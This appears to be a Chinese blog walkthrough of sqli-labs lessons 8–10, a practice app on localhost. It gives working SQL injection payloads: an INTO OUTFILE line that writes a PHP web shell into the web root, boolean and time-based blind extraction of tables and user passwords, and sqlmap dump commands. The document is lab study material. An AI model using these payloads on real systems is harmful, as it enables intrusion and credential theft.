2020.4.3 sqli-labs--第八、九、十关②

方法一:看是否有file权限,利用into outfile

1.?id=2’ --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2020.4.3 sqli-labs--第八、九、十关②_第1张图片2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限(先判断字段数)
3.2020.4.3 sqli-labs--第八、九、十关②_第2张图片当输入3时返回正常,输入4时不返回。

http://127.0.0.1/sqli-labs/Less-8/?id=1'  union select 1,"chopper']);?>",3 into outfile "D:\\phpstudy2\\WWW\\hello.php"  --+

我们菜刀连接成功!!
2020.4.3 sqli-labs--第八、九、十关②_第3张图片

方法二:布尔盲注

id=1回显,价格单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 --+ 回显了,说明这里存在布尔盲注
2020.4.3 sqli-labs--第八、九、十关②_第4张图片在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
可以通过 > < 比较字符大小加速爆破

暴库payload

?id=1' and left((select database()),1)='s'--+

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

用户名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

方法三:时间延迟型手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
时间延迟型和报错型payload核心部分的构造相同

本方法中payload = ?id=1’ and if(报错型payload核心部分,sleep(5),1)–+
爆库长payload

?id=1' and if(length(database())=8,sleep(5),1)--+

爆库名payload

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+`在这里插入代码片`

通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

方法四:利用sqlmap

特别这里要指出:要加 --level 3 --risk --3
查数据库名:

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1"  --technique T --level 3 --risk 3 --dbs --batch

2020.4.3 sqli-labs--第八、九、十关②_第5张图片
查表名:

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1"  --technique T --level 3 --risk 3 -D security --tables --batch

2020.4.3 sqli-labs--第八、九、十关②_第6张图片

查字段名:

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1"  --technique T --level 3 --risk 3 -D security -T users --columns --batch

查字段值:

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1"  --technique T --level 3 --risk 3 -D security -T users -C "username,password" --dump --batch

第九关

大致和第八关差不多,在使用sqlmap的时候,只需要将 T 改为 B

第十关

在第九关的基础上,将单引号换成双引号。

你可能感兴趣的:(web安全)